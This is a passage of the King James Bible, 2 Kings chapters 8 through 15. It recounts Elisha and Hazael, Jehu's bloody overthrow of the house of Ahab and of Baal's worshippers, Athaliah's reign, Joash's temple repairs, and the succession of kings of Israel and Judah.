famine; +and it shall also come upon the land seven years. + +8:2 And the woman arose, and did after the saying of the man of God: +and she went with her household, and sojourned in the land of the +Philistines seven years. + +8:3 And it came to pass at the seven years' end, that the woman +returned out of the land of the Philistines: and she went forth to cry +unto the king for her house and for her land. + +8:4 And the king talked with Gehazi the servant of the man of God, +saying, Tell me, I pray thee, all the great things that Elisha hath +done. + +8:5 And it came to pass, as he was telling the king how he had +restored a dead body to life, that, behold, the woman, whose son he +had restored to life, cried to the king for her house and for her +land. And Gehazi said, My lord, O king, this is the woman, and this is +her son, whom Elisha restored to life. + +8:6 And when the king asked the woman, she told him. So the king +appointed unto her a certain officer, saying, Restore all that was +hers, and all the fruits of the field since the day that she left the +land, even until now. + +8:7 And Elisha came to Damascus; and Benhadad the king of Syria was +sick; and it was told him, saying, The man of God is come hither. + +8:8 And the king said unto Hazael, Take a present in thine hand, and +go, meet the man of God, and enquire of the LORD by him, saying, Shall +I recover of this disease? 8:9 So Hazael went to meet him, and took a +present with him, even of every good thing of Damascus, forty camels' +burden, and came and stood before him, and said, Thy son Benhadad king +of Syria hath sent me to thee, saying, Shall I recover of this +disease? 8:10 And Elisha said unto him, Go, say unto him, Thou mayest +certainly recover: howbeit the LORD hath shewed me that he shall +surely die. + +8:11 And he settled his countenance stedfastly, until he was ashamed: +and the man of God wept. + +8:12 And Hazael said, Why weepeth my lord? And he answered, Because I +know the evil that thou wilt do unto the children of Israel: their +strong holds wilt thou set on fire, and their young men wilt thou slay +with the sword, and wilt dash their children, and rip up their women +with child. + +8:13 And Hazael said, But what, is thy servant a dog, that he should +do this great thing? And Elisha answered, The LORD hath shewed me that +thou shalt be king over Syria. + +8:14 So he departed from Elisha, and came to his master; who said to +him, What said Elisha to thee? And he answered, He told me that thou +shouldest surely recover. + +8:15 And it came to pass on the morrow, that he took a thick cloth, +and dipped it in water, and spread it on his face, so that he died: +and Hazael reigned in his stead. + +8:16 And in the fifth year of Joram the son of Ahab king of Israel, +Jehoshaphat being then king of Judah, Jehoram the son of Je hoshaphat +king of Judah began to reign. + +8:17 Thirty and two years old was he when he began to reign; and he +reigned eight years in Jerusalem. + +8:18 And he walked in the way of the kings of Israel, as did the house +of Ahab: for the daughter of Ahab was his wife: and he did evil in the +sight of the LORD. + +8:19 Yet the LORD would not destroy Judah for David his servant's +sake, as he promised him to give him alway a light, and to his +children. + +8:20 In his days Edom revolted from under the hand of Judah, and made +a king over themselves. + +8:21 So Joram went over to Zair, and all the chariots with him: and he +rose by night, and smote the Edomites which compassed him about, and +the captains of the chariots: and the people fled into their tents. + +8:22 Yet Edom revolted from under the hand of Judah unto this day. +Then Libnah revolted at the same time. + +8:23 And the rest of the acts of Joram, and all that he did, are they +not written in the book of the chronicles of the kings of Judah? 8:24 +And Joram slept with his fathers, and was buried with his fathers in +the city of David: and Ahaziah his son reigned in his stead. + +8:25 In the twelfth year of Joram the son of Ahab king of Israel did +Ahaziah the son of Jehoram king of Judah begin to reign. + +8:26 Two and twenty years old was Ahaziah when he began to reign; and +he reigned one year in Jerusalem. And his mother's name was Athaliah, +the daughter of Omri king of Israel. + +8:27 And he walked in the way of the house of Ahab, and did evil in +the sight of the LORD, as did the house of Ahab: for he was the son in +law of the house of Ahab. + +8:28 And he went with Joram the son of Ahab to the war against Hazael +king of Syria in Ramothgilead; and the Syrians wounded Joram. + +8:29 And king Joram went back to be healed in Jezreel of the wounds +which the Syrians had given him at Ramah, when he fought against +Hazael king of Syria. And Ahaziah the son of Jehoram king of Judah +went down to see Joram the son of Ahab in Jezreel, because he was +sick. + +9:1 And Elisha the prophet called one of the children of the prophets, +and said unto him, Gird up thy loins, and take this box of oil in +thine hand, and go to Ramothgilead: 9:2 And when thou comest thither, +look out there Jehu the son of Jehoshaphat the son of Nimshi, and go +in, and make him arise up from among his brethren, and carry him to an +inner chamber; 9:3 Then take the box of oil, and pour it on his head, +and say, Thus saith the LORD, I have anointed thee king over Israel. +Then open the door, and flee, and tarry not. + +9:4 So the young man, even the young man the prophet, went to +Ramothgilead. + +9:5 And when he came, behold, the captains of the host were sitting; +and he said, I have an errand to thee, O captain. And Jehu said, Unto +which of all us? And he said, To thee, O captain. + +9:6 And he arose, and went into the house; and he poured the oil on +his head, and said unto him, Thus saith the LORD God of Israel, I have +anointed thee king over the people of the LORD, even over Israel. + +9:7 And thou shalt smite the house of Ahab thy master, that I may +avenge the blood of my servants the prophets, and the blood of all the +servants of the LORD, at the hand of Jezebel. + +9:8 For the whole house of Ahab shall perish: and I will cut off from +Ahab him that pisseth against the wall, and him that is shut up and +left in Israel: 9:9 And I will make the house of Ahab like the house +of Jeroboam the son of Nebat, and like the house of Baasha the son of +Ahijah: 9:10 And the dogs shall eat Jezebel in the portion of Jezreel, +and there shall be none to bury her. And he opened the door, and fled. + +9:11 Then Jehu came forth to the servants of his lord: and one said +unto him, Is all well? wherefore came this mad fellow to thee? And he +said unto them, Ye know the man, and his communication. + +9:12 And they said, It is false; tell us now. And he said, Thus and +thus spake he to me, saying, Thus saith the LORD, I have anointed thee +king over Israel. + +9:13 Then they hasted, and took every man his garment, and put it +under him on the top of the stairs, and blew with trumpets, saying, +Jehu is king. + +9:14 So Jehu the son of Jehoshaphat the son of Nimshi conspired +against Joram. (Now Joram had kept Ramothgilead, he and all Israel, +because of Hazael king of Syria. + +9:15 But king Joram was returned to be healed in Jezreel of the wounds +which the Syrians had given him, when he fought with Hazael king of +Syria.) And Jehu said, If it be your minds, then let none go forth +nor escape out of the city to go to tell it in Jezreel. + +9:16 So Jehu rode in a chariot, and went to Jezreel; for Joram lay +there. + +And Ahaziah king of Judah was come down to see Joram. + +9:17 And there stood a watchman on the tower in Jezreel, and he spied +the company of Jehu as he came, and said, I see a company. And Joram +said, Take an horseman, and send to meet them, and let him say, Is it +peace? 9:18 So there went one on horseback to meet him, and said, +Thus saith the king, Is it peace? And Jehu said, What hast thou to do +with peace? turn thee behind me. And the watchman told, saying, The +messenger came to them, but he cometh not again. + +9:19 Then he sent out a second on horseback, which came to them, and +said, Thus saith the king, Is it peace? And Jehu answered, What hast +thou to do with peace? turn thee behind me. + +9:20 And the watchman told, saying, He came even unto them, and cometh +not again: and the driving is like the driving of Jehu the son of +Nimshi; for he driveth furiously. + +9:21 And Joram said, Make ready. And his chariot was made ready. And +Joram king of Israel and Ahaziah king of Judah went out, each in his +chariot, and they went out against Jehu, and met him in the portion of +Naboth the Jezreelite. + +9:22 And it came to pass, when Joram saw Jehu, that he said, Is it +peace, Jehu? And he answered, What peace, so long as the whoredoms of +thy mother Jezebel and her witchcrafts are so many? 9:23 And Joram +turned his hands, and fled, and said to Ahaziah, There is treachery, O +Ahaziah. + +9:24 And Jehu drew a bow with his full strength, and smote Jehoram +between his arms, and the arrow went out at his heart, and he sunk +down in his chariot. + +9:25 Then said Jehu to Bidkar his captain, Take up, and cast him in +the portion of the field of Naboth the Jezreelite: for remember how +that, when I and thou rode together after Ahab his father, the LORD +laid this burden upon him; 9:26 Surely I have seen yesterday the blood +of Naboth, and the blood of his sons, saith the LORD; and I will +requite thee in this plat, saith the LORD. Now therefore take and cast +him into the plat of ground, according to the word of the LORD. + +9:27 But when Ahaziah the king of Judah saw this, he fled by the way +of the garden house. And Jehu followed after him, and said, Smite him +also in the chariot. And they did so at the going up to Gur, which is +by Ibleam. + +And he fled to Megiddo, and died there. + +9:28 And his servants carried him in a chariot to Jerusalem, and +buried him in his sepulchre with his fathers in the city of David. + +9:29 And in the eleventh year of Joram the son of Ahab began Ahaziah +to reign over Judah. + +9:30 And when Jehu was come to Jezreel, Jezebel heard of it; and she +painted her face, and tired her head, and looked out at a window. + +9:31 And as Jehu entered in at the gate, she said, Had Zimri peace, +who slew his master? 9:32 And he lifted up his face to the window, +and said, Who is on my side? who? And there looked out to him two or +three eunuchs. + +9:33 And he said, Throw her down. So they threw her down: and some of +her blood was sprinkled on the wall, and on the horses: and he trode +her under foot. + +9:34 And when he was come in, he did eat and drink, and said, Go, see +now this cursed woman, and bury her: for she is a king's daughter. + +9:35 And they went to bury her: but they found no more of her than the +skull, and the feet, and the palms of her hands. + +9:36 Wherefore they came again, and told him. And he said, This is the +word of the LORD, which he spake by his servant Elijah the Tishbite, +saying, In the portion of Jezreel shall dogs eat the flesh of Jezebel: +9:37 And the carcase of Jezebel shall be as dung upon the face of the +field in the portion of Jezreel; so that they shall not say, This is +Jezebel. + +10:1 And Ahab had seventy sons in Samaria. And Jehu wrote letters, and +sent to Samaria, unto the rulers of Jezreel, to the elders, and to +them that brought up Ahab's children, saying, 10:2 Now as soon as this +letter cometh to you, seeing your master's sons are with you, and +there are with you chariots and horses, a fenced city also, and +armour; 10:3 Look even out the best and meetest of your master's sons, +and set him on his father's throne, and fight for your master's house. + +10:4 But they were exceedingly afraid, and said, Behold, two kings +stood not before him: how then shall we stand? 10:5 And he that was +over the house, and he that was over the city, the elders also, and +the bringers up of the children, sent to Jehu, saying, We are thy +servants, and will do all that thou shalt bid us; we will not make any +king: do thou that which is good in thine eyes. + +10:6 Then he wrote a letter the second time to them, saying, If ye be +mine, and if ye will hearken unto my voice, take ye the heads of the +men your master's sons, and come to me to Jezreel by to morrow this +time. Now the king's sons, being seventy persons, were with the great +men of the city, which brought them up. + +10:7 And it came to pass, when the letter came to them, that they took +the king's sons, and slew seventy persons, and put their heads in +baskets, and sent him them to Jezreel. + +10:8 And there came a messenger, and told him, saying, They have +brought the heads of the king's sons. And he said, Lay ye them in two +heaps at the entering in of the gate until the morning. + +10:9 And it came to pass in the morning, that he went out, and stood, +and said to all the people, Ye be righteous: behold, I conspired +against my master, and slew him: but who slew all these? 10:10 Know +now that there shall fall unto the earth nothing of the word of the +LORD, which the LORD spake concerning the house of Ahab: for the LORD +hath done that which he spake by his servant Elijah. + +10:11 So Jehu slew all that remained of the house of Ahab in Jezreel, +and all his great men, and his kinsfolks, and his priests, until he +left him none remaining. + +10:12 And he arose and departed, and came to Samaria. And as he was at +the shearing house in the way, 10:13 Jehu met with the brethren of +Ahaziah king of Judah, and said, Who are ye? And they answered, We are +the brethren of Ahaziah; and we go down to salute the children of the +king and the children of the queen. + +10:14 And he said, Take them alive. And they took them alive, and slew +them at the pit of the shearing house, even two and forty men; neither +left he any of them. + +10:15 And when he was departed thence, he lighted on Jehonadab the son +of Rechab coming to meet him: and he saluted him, and said to him, Is +thine heart right, as my heart is with thy heart? And Jehonadab +answered, It is. If it be, give me thine hand. And he gave him his +hand; and he took him up to him into the chariot. + +10:16 And he said, Come with me, and see my zeal for the LORD. So they +made him ride in his chariot. + +10:17 And when he came to Samaria, he slew all that remained unto Ahab +in Samaria, till he had destroyed him, according to the saying of the +LORD, which he spake to Elijah. + +10:18 And Jehu gathered all the people together, and said unto them, +Ahab served Baal a little; but Jehu shall serve him much. + +10:19 Now therefore call unto me all the prophets of Baal, all his +servants, and all his priests; let none be wanting: for I have a great +sacrifice to do to Baal; whosoever shall be wanting, he shall not +live. But Jehu did it in subtilty, to the intent that he might destroy +the worshippers of Baal. + +10:20 And Jehu said, Proclaim a solemn assembly for Baal. And they +proclaimed it. + +10:21 And Jehu sent through all Israel: and all the worshippers of +Baal came, so that there was not a man left that came not. And they +came into the house of Baal; and the house of Baal was full from one +end to another. + +10:22 And he said unto him that was over the vestry, Bring forth +vestments for all the worshippers of Baal. And he brought them forth +vestments. + +10:23 And Jehu went, and Jehonadab the son of Rechab, into the house +of Baal, and said unto the worshippers of Baal, Search, and look that +there be here with you none of the servants of the LORD, but the +worshippers of Baal only. + +10:24 And when they went in to offer sacrifices and burnt offerings, +Jehu appointed fourscore men without, and said, If any of the men whom +I have brought into your hands escape, he that letteth him go, his +life shall be for the life of him. + +10:25 And it came to pass, as soon as he had made an end of offering +the burnt offering, that Jehu said to the guard and to the captains, +Go in, and slay them; let none come forth. And they smote them with +the edge of the sword; and the guard and the captains cast them out, +and went to the city of the house of Baal. + +10:26 And they brought forth the images out of the house of Baal, and +burned them. + +10:27 And they brake down the image of Baal, and brake down the house +of Baal, and made it a draught house unto this day. + +10:28 Thus Jehu destroyed Baal out of Israel. + +10:29 Howbeit from the sins of Jeroboam the son of Nebat, who made +Israel to sin, Jehu departed not from after them, to wit, the golden +calves that were in Bethel, and that were in Dan. + +10:30 And the LORD said unto Jehu, Because thou hast done well in +executing that which is right in mine eyes, and hast done unto the +house of Ahab according to all that was in mine heart, thy children of +the fourth generation shall sit on the throne of Israel. + +10:31 But Jehu took no heed to walk in the law of the LORD God of +Israel with all his heart: for he departed not from the sins of +Jeroboam, which made Israel to sin. + +10:32 In those days the LORD began to cut Israel short: and Hazael +smote them in all the coasts of Israel; 10:33 From Jordan eastward, +all the land of Gilead, the Gadites, and the Reubenites, and the +Manassites, from Aroer, which is by the river Arnon, even Gilead and +Bashan. + +10:34 Now the rest of the acts of Jehu, and all that he did, and all +his might, are they not written in the book of the chronicles of the +kings of Israel? 10:35 And Jehu slept with his fathers: and they +buried him in Samaria. And Jehoahaz his son reigned in his stead. + +10:36 And the time that Jehu reigned over Israel in Samaria was twenty +and eight years. + +11:1 And when Athaliah the mother of Ahaziah saw that her son was +dead, she arose and destroyed all the seed royal. + +11:2 But Jehosheba, the daughter of king Joram, sister of Ahaziah, +took Joash the son of Ahaziah, and stole him from among the king's +sons which were slain; and they hid him, even him and his nurse, in +the bedchamber from Athaliah, so that he was not slain. + +11:3 And he was with her hid in the house of the LORD six years. And +Athaliah did reign over the land. + +11:4 And the seventh year Jehoiada sent and fetched the rulers over +hundreds, with the captains and the guard, and brought them to him +into the house of the LORD, and made a covenant with them, and took an +oath of them in the house of the LORD, and shewed them the king's son. + +11:5 And he commanded them, saying, This is the thing that ye shall +do; A third part of you that enter in on the sabbath shall even be +keepers of the watch of the king's house; 11:6 And a third part shall +be at the gate of Sur; and a third part at the gate behind the guard: +so shall ye keep the watch of the house, that it be not broken down. + +11:7 And two parts of all you that go forth on the sabbath, even they +shall keep the watch of the house of the LORD about the king. + +11:8 And ye shall compass the king round about, every man with his +weapons in his hand: and he that cometh within the ranges, let him be +slain: and be ye with the king as he goeth out and as he cometh in. + +11:9 And the captains over the hundreds did according to all things +that Jehoiada the priest commanded: and they took every man his men +that were to come in on the sabbath, with them that should go out on +the sabbath, and came to Jehoiada the priest. + +11:10 And to the captains over hundreds did the priest give king +David's spears and shields, that were in the temple of the LORD. + +11:11 And the guard stood, every man with his weapons in his hand, +round about the king, from the right corner of the temple to the left +corner of the temple, along by the altar and the temple. + +11:12 And he brought forth the king's son, and put the crown upon him, +and gave him the testimony; and they made him king, and anointed him; +and they clapped their hands, and said, God save the king. + +11:13 And when Athaliah heard the noise of the guard and of the +people, she came to the people into the temple of the LORD. + +11:14 And when she looked, behold, the king stood by a pillar, as the +manner was, and the princes and the trumpeters by the king, and all +the people of the land rejoiced, and blew with trumpets: and Athaliah +rent her clothes, and cried, Treason, Treason. + +11:15 But Jehoiada the priest commanded the captains of the hundreds, +the officers of the host, and said unto them, Have her forth without +the ranges: and him that followeth her kill with the sword. For the +priest had said, Let her not be slain in the house of the LORD. + +11:16 And they laid hands on her; and she went by the way by the which +the horses came into the king's house: and there was she slain. + +11:17 And Jehoiada made a covenant between the LORD and the king and +the people, that they should be the LORD's people; between the king +also and the people. + +11:18 And all the people of the land went into the house of Baal, and +brake it down; his altars and his images brake they in pieces +thoroughly, and slew Mattan the priest of Baal before the altars. And +the priest appointed officers over the house of the LORD. + +11:19 And he took the rulers over hundreds, and the captains, and the +guard, and all the people of the land; and they brought down the king +from the house of the LORD, and came by the way of the gate of the +guard to the king's house. And he sat on the throne of the kings. + +11:20 And all the people of the land rejoiced, and the city was in +quiet: and they slew Athaliah with the sword beside the king's house. + +11:21 Seven years old was Jehoash when he began to reign. + +12:1 In the seventh year of Jehu Jehoash began to reign; and forty +years reigned he in Jerusalem. And his mother's name was Zibiah of +Beersheba. + +12:2 And Jehoash did that which was right in the sight of the LORD all +his days wherein Jehoiada the priest instructed him. + +12:3 But the high places were not taken away: the people still +sacrificed and burnt incense in the high places. + +12:4 And Jehoash said to the priests, All the money of the dedicated +things that is brought into the house of the LORD, even the money of +every one that passeth the account, the money that every man is set +at, and all the money that cometh into any man's heart to bring into +the house of the LORD, 12:5 Let the priests take it to them, every man +of his acquaintance: and let them repair the breaches of the house, +wheresoever any breach shall be found. + +12:6 But it was so, that in the three and twentieth year of king +Jehoash the priests had not repaired the breaches of the house. + +12:7 Then king Jehoash called for Jehoiada the priest, and the other +priests, and said unto them, Why repair ye not the breaches of the +house? now therefore receive no more money of your acquaintance, but +deliver it for the breaches of the house. + +12:8 And the priests consented to receive no more money of the people, +neither to repair the breaches of the house. + +12:9 But Jehoiada the priest took a chest, and bored a hole in the lid +of it, and set it beside the altar, on the right side as one cometh +into the house of the LORD: and the priests that kept the door put +therein all the money that was brought into the house of the LORD. + +12:10 And it was so, when they saw that there was much money in the +chest, that the king's scribe and the high priest came up, and they +put up in bags, and told the money that was found in the house of the +LORD. + +12:11 And they gave the money, being told, into the hands of them that +did the work, that had the oversight of the house of the LORD: and +they laid it out to the carpenters and builders, that wrought upon the +house of the LORD, 12:12 And to masons, and hewers of stone, and to +buy timber and hewed stone to repair the breaches of the house of the +LORD, and for all that was laid out for the house to repair it. + +12:13 Howbeit there were not made for the house of the LORD bowls of +silver, snuffers, basons, trumpets, any vessels of gold, or vessels of +silver, of the money that was brought into the house of the LORD: +12:14 But they gave that to the workmen, and repaired therewith the +house of the LORD. + +12:15 Moreover they reckoned not with the men, into whose hand they +delivered the money to be bestowed on workmen: for they dealt +faithfully. + +12:16 The trespass money and sin money was not brought into the house +of the LORD: it was the priests'. + +12:17 Then Hazael king of Syria went up, and fought against Gath, and +took it: and Hazael set his face to go up to Jerusalem. + +12:18 And Jehoash king of Judah took all the hallowed things that +Jehoshaphat, and Jehoram, and Ahaziah, his fathers, kings of Judah, +had dedicated, and his own hallowed things, and all the gold that was +found in the treasures of the house of the LORD, and in the king's +house, and sent it to Hazael king of Syria: and he went away from +Jerusalem. + +12:19 And the rest of the acts of Joash, and all that he did, are they +not written in the book of the chronicles of the kings of Judah? +12:20 And his servants arose, and made a conspiracy, and slew Joash in +the house of Millo, which goeth down to Silla. + +12:21 For Jozachar the son of Shimeath, and Jehozabad the son of +Shomer, his servants, smote him, and he died; and they buried him with +his fathers in the city of David: and Amaziah his son reigned in his +stead. + +13:1 In the three and twentieth year of Joash the son of Ahaziah king +of Judah Jehoahaz the son of Jehu began to reign over Israel in +Samaria, and reigned seventeen years. + +13:2 And he did that which was evil in the sight of the LORD, and +followed the sins of Jeroboam the son of Nebat, which made Israel to +sin; he departed not therefrom. + +13:3 And the anger of the LORD was kindled against Israel, and he +delivered them into the hand of Hazael king of Syria, and into the +hand of Benhadad the son of Hazael, all their days. + +13:4 And Jehoahaz besought the LORD, and the LORD hearkened unto him: +for he saw the oppression of Israel, because the king of Syria +oppressed them. + +13:5 (And the LORD gave Israel a saviour, so that they went out from +under the hand of the Syrians: and the children of Israel dwelt in +their tents, as beforetime. + +13:6 Nevertheless they departed not from the sins of the house of +Jeroboam, who made Israel sin, but walked therein: and there remained +the grove also in Samaria.) 13:7 Neither did he leave of the people +to Jehoahaz but fifty horsemen, and ten chariots, and ten thousand +footmen; for the king of Syria had destroyed them, and had made them +like the dust by threshing. + +13:8 Now the rest of the acts of Jehoahaz, and all that he did, and +his might, are they not written in the book of the chronicles of the +kings of Israel? 13:9 And Jehoahaz slept with his fathers; and they +buried him in Samaria: and Joash his son reigned in his stead. + +13:10 In the thirty and seventh year of Joash king of Judah began +Jehoash the son of Jehoahaz to reign over Israel in Samaria, and +reigned sixteen years. + +13:11 And he did that which was evil in the sight of the LORD; he +departed not from all the sins of Jeroboam the son of Nebat, who made +Israel sin: but he walked therein. + +13:12 And the rest of the acts of Joash, and all that he did, and his +might wherewith he fought against Amaziah king of Judah, are they not +written in the book of the chronicles of the kings of Israel? 13:13 +And Joash slept with his fathers; and Jeroboam sat upon his throne: +and Joash was buried in Samaria with the kings of Israel. + +13:14 Now Elisha was fallen sick of his sickness whereof he died. And +Joash the king of Israel came down unto him, and wept over his face, +and said, O my father, my father, the chariot of Israel, and the +horsemen thereof. + +13:15 And Elisha said unto him, Take bow and arrows. And he took unto +him bow and arrows. + +13:16 And he said to the king of Israel, Put thine hand upon the bow. +And he put his hand upon it: and Elisha put his hands upon the king's +hands. + +13:17 And he said, Open the window eastward. And he opened it. Then +Elisha said, Shoot. And he shot. And he said, The arrow of the LORD's +deliverance, and the arrow of deliverance from Syria: for thou shalt +smite the Syrians in Aphek, till thou have consumed them. + +13:18 And he said, Take the arrows. And he took them. And he said unto +the king of Israel, Smite upon the ground. And he smote thrice, and +stayed. + +13:19 And the man of God was wroth with him, and said, Thou shouldest +have smitten five or six times; then hadst thou smitten Syria till +thou hadst consumed it: whereas now thou shalt smite Syria but thrice. + +13:20 And Elisha died, and they buried him. And the bands of the +Moabites invaded the land at the coming in of the year. + +13:21 And it came to pass, as they were burying a man, that, behold, +they spied a band of men; and they cast the man into the sepulchre of +Elisha: and when the man was let down, and touched the bones of +Elisha, he revived, and stood up on his feet. + +13:22 But Hazael king of Syria oppressed Israel all the days of +Jehoahaz. + +13:23 And the LORD was gracious unto them, and had compassion on them, +and had respect unto them, because of his covenant with Abraham, +Isaac, and Jacob, and would not destroy them, neither cast he them +from his presence as yet. + +13:24 So Hazael king of Syria died; and Benhadad his son reigned in +his stead. + +13:25 And Jehoash the son of Jehoahaz took again out of the hand of +Benhadad the son of Hazael the cities, which he had taken out of the +hand of Jehoahaz his father by war. Three times did Joash beat him, +and recovered the cities of Israel. + +14:1 In the second year of Joash son of Jehoahaz king of Israel +reigned Amaziah the son of Joash king of Judah. + +14:2 He was twenty and five years old when he began to reign, and +reigned twenty and nine years in Jerusalem. And his mother's name was +Jehoaddan of Jerusalem. + +14:3 And he did that which was right in the sight of the LORD, yet not +like David his father: he did according to all things as Joash his +father did. + +14:4 Howbeit the high places were not taken away: as yet the people +did sacrifice and burnt incense on the high places. + +14:5 And it came to pass, as soon as the kingdom was confirmed in his +hand, that he slew his servants which had slain the king his father. + +14:6 But the children of the murderers he slew not: according unto +that which is written in the book of the law of Moses, wherein the +LORD commanded, saying, The fathers shall not be put to death for the +children, nor the children be put to death for the fathers; but every +man shall be put to death for his own sin. + +14:7 He slew of Edom in the valley of salt ten thousand, and took +Selah by war, and called the name of it Joktheel unto this day. + +14:8 Then Amaziah sent messengers to Jehoash, the son of Jehoahaz son +of Jehu, king of Israel, saying, Come, let us look one another in the +face. + +14:9 And Jehoash the king of Israel sent to Amaziah king of Judah, +saying, The thistle that was in Lebanon sent to the cedar that was in +Lebanon, saying, Give thy daughter to my son to wife: and there passed +by a wild beast that was in Lebanon, and trode down the thistle. + +14:10 Thou hast indeed smitten Edom, and thine heart hath lifted thee +up: glory of this, and tarry at home: for why shouldest thou meddle to +thy hurt, that thou shouldest fall, even thou, and Judah with thee? +14:11 But Amaziah would not hear. Therefore Jehoash king of Israel +went up; and he and Amaziah king of Judah looked one another in the +face at Bethshemesh, which belongeth to Judah. + +14:12 And Judah was put to the worse before Israel; and they fled +every man to their tents. + +14:13 And Jehoash king of Israel took Amaziah king of Judah, the son +of Jehoash the son of Ahaziah, at Bethshemesh, and came to Jerusalem, +and brake down the wall of Jerusalem from the gate of Ephraim unto the +corner gate, four hundred cubits. + +14:14 And he took all the gold and silver, and all the vessels that +were found in the house of the LORD, and in the treasures of the +king's house, and hostages, and returned to Samaria. + +14:15 Now the rest of the acts of Jehoash which he did, and his might, +and how he fought with Amaziah king of Judah, are they not written in +the book of the chronicles of the kings of Israel? 14:16 And Jehoash +slept with his fathers, and was buried in Samaria with the kings of +Israel; and Jeroboam his son reigned in his stead. + +14:17 And Amaziah the son of Joash king of Judah lived after the death +of Jehoash son of Jehoahaz king of Israel fifteen years. + +14:18 And the rest of the acts of Amaziah, are they not written in the +book of the chronicles of the kings of Judah? 14:19 Now they made a +conspiracy against him in Jerusalem: and he fled to Lachish; but they +sent after him to Lachish, and slew him there. + +14:20 And they brought him on horses: and he was buried at Jerusalem +with his fathers in the city of David. + +14:21 And all the people of Judah took Azariah, which was sixteen +years old, and made him king instead of his father Amaziah. + +14:22 He built Elath, and restored it to Judah, after that the king +slept with his fathers. + +14:23 In the fifteenth year of Amaziah the son of Joash king of Judah +Jeroboam the son of Joash king of Israel began to reign in Samaria, +and reigned forty and one years. + +14:24 And he did that which was evil in the sight of the LORD: he +departed not from all the sins of Jeroboam the son of Nebat, who made +Israel to sin. + +14:25 He restored the coast of Israel from the entering of Hamath unto +the sea of the plain, according to the word of the LORD God of Israel, +which he spake by the hand of his servant Jonah, the son of Amittai, +the prophet, which was of Gathhepher. + +14:26 For the LORD saw the affliction of Israel, that it was very +bitter: for there was not any shut up, nor any left, nor any helper +for Israel. + +14:27 And the LORD said not that he would blot out the name of Israel +from under heaven: but he saved them by the hand of Jeroboam the son +of Joash. + +14:28 Now the rest of the acts of Jeroboam, and all that he did, and +his might, how he warred, and how he recovered Damascus, and Hamath, +which belonged to Judah, for Israel, are they not written in the book +of the chronicles of the kings of Israel? 14:29 And Jeroboam slept +with his fathers, even with the kings of Israel; and Zachariah his son +reigned in his stead. + +15:1 In the twenty and seventh year of Jeroboam king of Israel began +Azariah son of Amaziah king of Judah to reign. + +15:2 Sixteen years old was he when he began to reign, and he reigned +two and fifty years in Jerusalem. And his mother's name was Jecholiah +of Jerusalem. + +15:3 And he did that which was right in the sight of the LORD, +according to all that his father Amaziah had done; 15:4 Save that the +high places were not removed: the people sacrificed and burnt incense +still on the high places. + +15:5 And the LORD smote the king, so that he was a leper unto the day +of his death, and dwelt in a several house. And Jotham the king's son +was over the house, judging the people of the land. + +15:6 And the rest of the acts of Azariah, and all that he did, are +they not written in the book of the chronicles of the kings of Judah? +15:7 So Azariah slept with his fathers; and they buried him with his +fathers in the city of David: and Jotham his son reigned in his stead. + +15:8 In the thirty and eighth year of Azariah king of Judah did +Zachariah the son of Jeroboam reign over Israel in Samaria six months. + +15:9 And he did that which was evil in the sight of the LORD, as his +fathers had done: he departed not from the sins of Jeroboam the son of +Nebat, who made Israel to sin. + +15:10 And Shallum the son of Jabesh conspired against him, and smote +him before the people, and slew him, and reigned in his stead. + +15:11 And the rest of the acts of Zachariah, behold, they are written +in the book of the chronicles of the kings of Israel. + +15:12 This was the word of the LORD which he spake unto Jehu, saying, +Thy sons shall sit on the throne of Israel unto the fourth generation. +And so it came to pass. + +15:13 Shallum the son of Jabesh began to reign in the nine and +thirtieth year of Uzziah king of Judah; and he reigned a full month in +Samaria. + +15:14 For Menahem the son of Gadi went up from Tirzah, and came to +Samaria, and smote Shallum the son of Jabesh in Samaria, and slew him, +and reigned in his stead. + +15:15 And the rest of the acts of Shallum, and his conspiracy which he +made, behold, they are written in the book of the chronicles of the +kings of Israel. + +15:16 Then Menahem smote Tiphsah, and all that were therein, and the +coasts thereof from Tirzah: because they opened not to him, therefore +he smote it; and all the women therein that were with child he ripped +up. + +15:17 In the nine and thirtieth year of Azariah king of Judah began +Menahem the son of Gadi to reign over Israel, and reigned ten years in +Samaria. + +15:18 And he did that which was evil in the sight of the LORD: he +departed not all his days from the sins of Jeroboam the son of Nebat, +who made Israel to sin. + +15:19 And Pul the king of Assyria came against the land: and Menahem +gave Pul a thousand talents of silver, that his hand might be with him +to confirm the kingdom in his hand. + +15:20 And Menahem exacted the money of Israel, even of all the mighty +men of wealth, of each man fifty shekels of silver, to give to the +king of Assyria. So the king of Assyria turned back, and stayed not +there in the land. + +15:21 And the rest of the acts of Menahem, and all that he did, are +they not written in the book of the chronicles of the kings of Israel? +15:22 And Menahem slept with his fathers; and Pekahiah his son reigned +in his stead. + +15:23 In the fiftieth year of Azariah king of Judah Pekahiah the son +of Menahem began to reign over Israel in Samaria, and reigned two +years. + +15:24 And he did that which was evil in the sight of the LORD: he +departed not from the sins of Jeroboam the son of Nebat, who made +Israel to sin. + +15:25 But Pekah the son of Remaliah, a captain of his, conspired +against him, and smote him in Samaria, in the palace of the king's +house, with Argob and Arieh, and with him fifty men of the Gileadites: +and he killed him, and reigned in his room. + +15:26 And the rest of the acts of Pekahiah, and all that he did, +behold, they are written in the book of the chronicles of the kings of +Israel. + +15:27 In the two and fiftieth year of Azariah king of Judah Pekah the +son of Remaliah began to reign over Israel in Samaria, and reigned +twenty years. + +15:28 And he did that which was evil in the sight of the LORD: he +departed not from the sins of Jeroboam the son of Nebat, who made +Israel to sin. + +15:29 In the days of Pekah king of Israel came Tiglathpileser king of +Assyria, and took Ijon, and Abelbethmaachah, and Janoah, and Kedesh, +and Hazor, and Gilead, and Galilee, all the land of Naphtali, and +carried them captive to Assyria. + +15:30 And Hoshea the son of Elah made a conspiracy against Pekah the +son of Remaliah, and smote him, and slew him, and reigned in his +stead, in the twentieth year of Jotham the son of Uzziah. + +15:31 And the rest of the acts of Pekah, and all that he did, behold, +they are written in the book of the chronicles of the kings of Israel. + +15:32 In the second year of Pekah the son of Remaliah king of Israel +began Jotham the son of Uzziah king of Judah to reign. + +15:33 Five and twenty years old was he when he began to reign, and he +reigned sixteen years in Jerusalem. And his mother's name was Jerusha, +the daughter of Zadok. + +15:34 And he did that which was right in the sight of the LORD: he did +according to all that his father Uzziah had done. + +15:35 Howbeit the high places were not removed: the people sacrificed +and burned incense still in the high places. He built the higher gate +of the house of the LORD. + +15:36 Now the rest of the acts of Jotham, and all that he did, are +they not written in the book of the chronicles of the kings of Judah? +15:37 In those days the LORD began to send against Judah Rezin the +king of Syria, and Pekah the son of Remaliah. + +15:38 And Jotham slept with his fathers, and was buried with his +fathers in the city of David his father: and Ahaz his son reigned in +his stead. + +16:1 In the seventeenth year of Pekah the son of Remaliah 